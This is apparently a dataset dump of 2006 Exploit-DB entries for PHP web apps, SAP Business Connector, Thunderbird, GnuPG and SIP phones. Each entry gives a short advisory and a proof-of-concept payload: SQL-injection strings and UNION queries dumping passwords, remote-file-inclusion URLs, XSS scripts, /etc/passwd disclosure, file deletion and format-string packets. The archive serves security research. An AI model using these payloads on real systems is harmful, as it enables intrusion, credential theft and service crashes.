QLWD/code_shield huggingface dataset:
标题: Webpagecity WPC easy - SQL Injection EDB-ID: 27248 CVE: 2006-0832 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/16721/info

Webpagecity 'WPC.easy' is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

The following proof of concept is available:
login: ' OR '1=1
password: ' OR '1=1 URL: https://www.exploit-db.com/exploits/27248
标题: TTS Software Time Tracking Software 3.0 - 'edituser.php' Access Validation EDB-ID: 27250 CVE: 2006-0691 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/16731/info

Time Tracking Software is prone to an access-validation vulnerability. This issue is due the application's failure to limit access to administrative sections of the application. 

An attacker can exploit this vulnerability to modify user data in the context of the application. This may result in a loss of confidentiality. The attacker may use this information in further attacks. 

This issue is reported to affect Time Tracking Software version 3.0; other versions may also be vulnerable.

http://www.example.com/timetracking/edituser.php? num=[userid] URL: https://www.exploit-db.com/exploits/27250
标题: Mozilla Thunderbird 1.5 - Address Book Import Remote Denial of Service EDB-ID: 27246 CVE: 2006-0836 类型: DOS 平台: LINUX 发布日期: 2006-02-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/16716/info

Mozilla Thunderbird is prone to a remote denial-of-service vulnerability. 

The issue presents itself when the application handles a specially crafted address book file.

Mozilla Thunderbird 1.5 is reportedly affected by this issue. Other versions may be vulnerable as well.

POC: create a file.ldif and insert following then import it in address book:
n: cn=Test POC by DrFrancky@securax.org,mail=drfrancky@securax.org
objectclass: top
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
objectclass: mozillaAbPersonAlpha
givenName: Test
sn: POC by DrFrancky@securax.org
cn: POC by DrFrancky@securax.org
mozillaNickname: DrFrancky
mail: drfrancky@securax.org
nsAIMid: DrFrancky POC
modifytimestamp: 0Z
homePhone: aaaaaaaaaaaaaaa[2MB of 'a'] URL: https://www.exploit-db.com/exploits/27246
标题: GnuPG 1.x - Detached Signature Verification Bypass EDB-ID: 27231 CVE: 2006-0455 类型: LOCAL 平台: LINUX 发布日期: 2006-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/16663/info

GnuPG is affected by a detached signature verification-bypass vulnerability because it fails to properly notify scripts that an invalid detached signature was presented and that the verification process has failed.

Exploiting this issue allows attackers to bypass the signature-verification process used in some automated scripts. Depending on the use of GnuPG, this may result in a false sense of security, the installation of malicious packages, the execution of attacker-supplied code, or other attacks.

An example demonstrating this issue was provided:

fortune >x.txt
perl -e 'print "\xca"x"64"' >x.txt.sig
gpgv x.txt.sig x.txt
echo $?

This creates a file as well as an obviously invalid detached signature file. The file is then successfully validated by 'gpgv', since the exit status is '0'. URL: https://www.exploit-db.com/exploits/27231
标题: dotProject 2.0 - '/modules/tasks/gantt.php?baseDir' Remote File Inclusion EDB-ID: 27225 CVE: 2006-0755 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/16648/info
        
Dotproject is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
        
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. These may facilitate a compromise of the application and the underlying system; other attacks are also possible.

http://www.example.com /modules/tasks/gantt.php?baseDir=[REMOTE INCLUDE] URL: https://www.exploit-db.com/exploits/27225
标题: Mantis Bug Tracker 0.x/1.0 - 'manage_user_page.php?sort' Cross-Site Scripting EDB-ID: 27229 CVE: 2006-0841 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/16657/info
 
Mantis is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
Successful exploitation of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/manage_user_page.php?sort=[XSS] URL: https://www.exploit-db.com/exploits/27229
标题: SAP Business Connector 4.6/4.7 - 'adapter-index.dsp?url' Arbitrary Site Redirect EDB-ID: 27235 CVE: 2006-0731 类型: REMOTE 平台: LINUX 发布日期: 2006-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/16671/info

SAP Business Connector is susceptible to an input-validation vulnerability. This issue is due to the application's failure to properly sanitize user-supplied input.

This issue allows remote attackers to execute phishing-style attacks against targeted SAP Business Connector administrators.

The following URI example demonstrates this issue:

http://www.example.com/WmRoot/adapter-index.dsp?url=http://www.attacker.com/ URL: https://www.exploit-db.com/exploits/27235
标题: SAP Business Connector 4.6/4.7 - 'chopSAPLog.dsp?fullName' Arbitrary File Disclosure EDB-ID: 27233 CVE: 2006-0731 类型: REMOTE 平台: LINUX 发布日期: 2006-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/16668/info

SAP Business Connector is prone to a file-access/deletion vulnerability. This issue arises due to an access-validation error.

A successful attack will result in the disclosure of sensitive or privileged information. An attacker may also delete arbitrary files. This often occurs with superuser privileges, since the package is often run with elevated privileges to gain access to TCP ports lower than 1024.

http://www.example.com/sapbc/SAP/chopSAPLog.dsp?fullName=/etc/passwd URL: https://www.exploit-db.com/exploits/27233
标题: WordPress Core 2.0 - Comment Post HTML Injection EDB-ID: 27227 CVE: 2006-0733 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/16656/info

WordPress is prone to an HTML-injection vulnerability. 

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing for the theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

WordPress version 2.0.0 is reportedly vulnerable; other versions may also be affected.

An example has been provided:

<strong>author's website</strong>:
<strong>" onfocus="alert(1)" onblur="alert(1)</strong> URL: https://www.exploit-db.com/exploits/27227
标题: My Blog 1.63 - BBCode HTML Injection EDB-ID: 27230 CVE: 2006-0735 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/16659/info

My Blog is prone to an HTML-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would be executed in the context of the affected site, potentially allowing for the theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

Examples have been provided:

[img]javascript:alert(123)[/img]

[url=javascript:alert(123)]Click me[/url] URL: https://www.exploit-db.com/exploits/27230
标题: dotProject 2.0 - '/modules/public/date_format.php?baseDir' Remote File Inclusion EDB-ID: 27224 CVE: 2006-0755 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/16648/info
       
Dotproject is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
       
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. These may facilitate a compromise of the application and the underlying system; other attacks are also possible.

http://www.example.com /modules/public/date_format.php?baseDir=[REMOTE INCLUDE] URL: https://www.exploit-db.com/exploits/27224
标题: Mantis Bug Tracker 0.x/1.0 - 'view_all_set.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27228 CVE: 2006-0841 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/16657/info

Mantis is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

Successful exploitation of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/view_all_set.php?type=1&handler_id=1&hide_status=[XSS]
http://www.example.com/view_all_set.php?type=1&handler_id=[XSS]
http://www.example.com/view_all_set.php?type=1&temporary=y&user_monitor=[XSS]
http://www.example.com/view_all_set.php?type=1&temporary=y&reporter_id=[XSS]
http://www.example.com/view_all_set.php?type=6&view_type=[XSS]
http://www.example.com/view_all_set.php?type=1&show_severity=[XSS]
http://www.example.com/view_all_set.php?type=1&show_category=[XSS]
http://www.example.com/view_all_set.php?type=1&show_status=[XSS]
http://www.example.com/view_all_set.php?type=1&show_resolution=[XSS]
http://www.example.com/view_all_set.php?type=1&show_build=[XSS]
http://www.example.com/view_all_set.php?type=1&show_profile=[XSS]
http://www.example.com/view_all_set.php?type=1&show_priority=[XSS]
http://www.example.com/view_all_set.php?type=1&highlight_changed=[XSS]
http://www.example.com/view_all_set.php?type=1&relationship_type=[XSS]
http://www.example.com/view_all_set.php?type=1&relationship_bug=[XSS] URL: https://www.exploit-db.com/exploits/27228
标题: dotProject 2.0 - '/modules/public/calendar.php?baseDir' Remote File Inclusion EDB-ID: 27223 CVE: 2006-0755 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/16648/info
      
Dotproject is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
      
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. These may facilitate a compromise of the application and the underlying system; other attacks are also possible.

http://www.example.com /modules/public/calendar.php?baseDir=[REMOTE INCLUDE] URL: https://www.exploit-db.com/exploits/27223
标题: SAP Business Connector 4.6/4.7 - 'deleteSingle?fullName' Arbitrary File Deletion EDB-ID: 27234 CVE: 2006-0731 类型: REMOTE 平台: LINUX 发布日期: 2006-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/16668/info
 
SAP Business Connector is prone to a file-access/deletion vulnerability. This issue arises due to an access-validation error.
 
A successful attack will result in the disclosure of sensitive or privileged information. An attacker may also delete arbitrary files. This often occurs with superuser privileges, since the package is often run with elevated privileges to gain access to TCP ports lower than 1024.

http://www.example.com/sapbc/invoke/sap.monitor.rfcTrace/deleteSingle?fullName=<path_to_file> URL: https://www.exploit-db.com/exploits/27234
标题: RunCMS 1.2/1.3 - 'PMLite.php' SQL Injection EDB-ID: 27226 CVE: 2006-0721 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/16652/info

RunCMS is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/modules/messages/pmlite.php?send=2&to_userid=-1%20union%20%20%20%20select%20pass%20from%20runcms_users%20where%20level=5
http://www.example.com/modules/messages/pmlite.php?send=2&to_userid=-1/**/union/**/select/**/uname/**/from/**/runcms_users%20where%20level=5/*hamid-network-security-team-http://hamid.ir URL: https://www.exploit-db.com/exploits/27226
标题: dotProject 2.0 - '/modules/projects/vw_files.php?dPconfig[root_dir]' Remote File Inclusion EDB-ID: 27221 CVE: 2006-0755 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/16648/info
    
Dotproject is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. These may facilitate a compromise of the application and the underlying system; other attacks are also possible.

http://www.example.com /modules/projects/vw_files.php?dPconfig[root_dir]=[REMOTE INCLUDE] URL: https://www.exploit-db.com/exploits/27221
标题: dotProject 2.0 - '/modules/admin/vw_usr_roles.php?baseDir' Remote File Inclusion EDB-ID: 27222 CVE: 2006-0755 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/16648/info
     
Dotproject is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
     
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. These may facilitate a compromise of the application and the underlying system; other attacks are also possible.

http://www.example.com /modules/admin/vw_usr_roles.php?baseDir=[REMOTE INCLUDE] URL: https://www.exploit-db.com/exploits/27222
标题: DELTAScripts PHP Classifieds 6.20 - 'Member_Login.php' SQL Injection EDB-ID: 27214 CVE: 2006-0719 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/16642/info

PHP Classifieds is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. An attacker can exploit this issue to bypass the authentication mechanism and gain access as an arbitrary user.

The following proof of concept is available:
email@example.com' -- ' URL: https://www.exploit-db.com/exploits/27214
标题: QwikiWiki 1.5 - 'search.php' Cross-Site Scripting EDB-ID: 27213 CVE: 2006-0699 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/16638/info

QwikiWiki is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before including it in dynamically generated HTML content.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

QwikiWiki version 1.5 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/search.php?debug=&help=&query=<script>alert("XSS Vulnerability")</scri URL: https://www.exploit-db.com/exploits/27213
标题: Gastebuch 1.3.2 - Cross-Site Scripting EDB-ID: 27209 CVE: 2006-0706 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/16615/info

Gastebuch is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before including it in dynamically generated HTML content.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Gastebuch version 1.3.2 is vulnerable to this issue; prior versions may also be affected.

http://www.example.com/"<script>alert(123)</script>" URL: https://www.exploit-db.com/exploits/27209
标题: dotProject 2.0 - '/modules/projects/gantt.php?dPconfig[root_dir]' Remote File Inclusion EDB-ID: 27217 CVE: 2006-0755 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/16648/info

Dotproject is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. These may facilitate a compromise of the application and the underlying system; other attacks are also possible.

http://www.example.com/modules/projects/gantt.php?dPconfig[root_dir]=[REMOTE INCLUDE] URL: https://www.exploit-db.com/exploits/27217
标题: Isode M-Vault Server 11.3 - LDAP Memory Corruption EDB-ID: 27212 CVE: 2006-0710 类型: DOS 平台: MULTIPLE 发布日期: 2006-02-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/16635/info

Isode M-Vault Server is prone to a memory corruption. This issue may be triggered by malformed LDAP data.

The exact impact of this vulnerability is not known at this time. Although the issue is known to crash the server, the possibility of remote code execution is unconfirmed.

The vulnerability was reported for version 11.3 on the Linux platform; other versions and platforms may also be affected.

This vulnerability will be updated as further information is made available.

./run.py localhost 389 3102 1 URL: https://www.exploit-db.com/exploits/27212
标题: sNews - Comment Body Cross-Site Scripting EDB-ID: 27215 CVE: 2006-0715 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/16647/info

sNews is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

Successful exploitation of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, control how the site is rendered to the user, or exploit vulnerabilities in the underlying database implementation. Other attacks are possible as well.

post comment with <script>alert('XSS TEST by www.example.com');</script> URL: https://www.exploit-db.com/exploits/27215
标题: dotProject 2.0 - '/includes/session.php?baseDir' Remote File Inclusion EDB-ID: 27219 CVE: 2006-0755 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/16648/info
  
Dotproject is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. These may facilitate a compromise of the application and the underlying system; other attacks are also possible.

http://www.example.com/includes/session.php?baseDir=[REMOTE INCLUDE] URL: https://www.exploit-db.com/exploits/27219
标题: dotProject 2.0 - '/includes/db_connect.php?baseDir' Remote File Inclusion EDB-ID: 27218 CVE: 2006-0755 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/16648/info
 
Dotproject is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. These may facilitate a compromise of the application and the underlying system; other attacks are also possible.

http://www.example.com/includes/db_connect.php?baseDir=[REMOTE INCLUDE] URL: https://www.exploit-db.com/exploits/27218
标题: PHP-Nuke 6.x/7.x - 'header.php?Pagetitle' Cross-Site Scripting EDB-ID: 27208 CVE: 2006-0676 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/16608/info

PHPNuke is prone to a cross-site scripting vulnerability. 

This issue affects the 'header.php' script.

PHPNuke 7.8 and prior versions are reportedly vulnerable.

http://www.example.com/nuke78/?pagetitle=w00t></title></head><body>test URL: https://www.exploit-db.com/exploits/27208
标题: eStara SoftPhone 3.0.1 - SIP SDP Message Handling Format String Denial of Service EDB-ID: 27210 CVE: 2006-0738 类型: DOS 平台: MULTIPLE 发布日期: 2006-02-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/16629/info

eStara Smartphone is prone to multiple denial-of-service vulnerabilities when processing malformed VOIP headers. Successful exploitation will cause the device to crash.

INVITE sip:a@127.0.0.1 SIP/2.0
Via: SIP/2.0/UDP 172.16.3.6:3333;branch=z9hG4bK00003013z9hG4bK.00003B37
From: 3013 <sip:a@127.0.0.1>;tag=3013
To: zwell <sip:a@127.0.0.1>
Call-ID: 1295@172.16.3.6
CSeq: 21086 INVITE
Content-Type: application/sdp
Content-Length: 134

v=0
o=3013 3013 3013 %s%x%n IP4 172.16.3.6
s=Session SDP
c=IN IP4 172.16.3.6
t=0 0
m=audio 9876 RTP/AVP 0
a=rtpmap:0 PCMU/8000


INVITE sip:a@127.0.0.1 SIP/2.0
Via: SIP/2.0/UDP 172.16.3.6:3333;branch=z9hG4bK00003013z9hG4bK.00003B37
From: 3013 <sip:a@127.0.0.1>;tag=3013
To: zwell <sip:a@127.0.0.1>
Call-ID: 1295@172.16.3.6
CSeq: 21086 INVITE
Content-Type: application/sdp
Content-Length: 134

%s=0
o=4085 4085 4085 IN IP4 172.16.3.6
s=Session SDP
c=IN IP4 172.16.3.6
t=0 0
m=audio 9876 %s%x%n 0
a=rtpmap:0 PCMU/8000 URL: https://www.exploit-db.com/exploits/27210
标题: sNews - 'index.php' Multiple SQL Injections EDB-ID: 27216 CVE: 2005-3853 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/16647/info
 
sNews is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
Successful exploitation of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, control how the site is rendered to the user, or exploit vulnerabilities in the underlying database implementation. Other attacks are possible as well.

http://www.example.com/index.php?category=1%20or%201=2

http://www.example.com/index.php?id=0%20or%201=2 URL: https://www.exploit-db.com/exploits/27216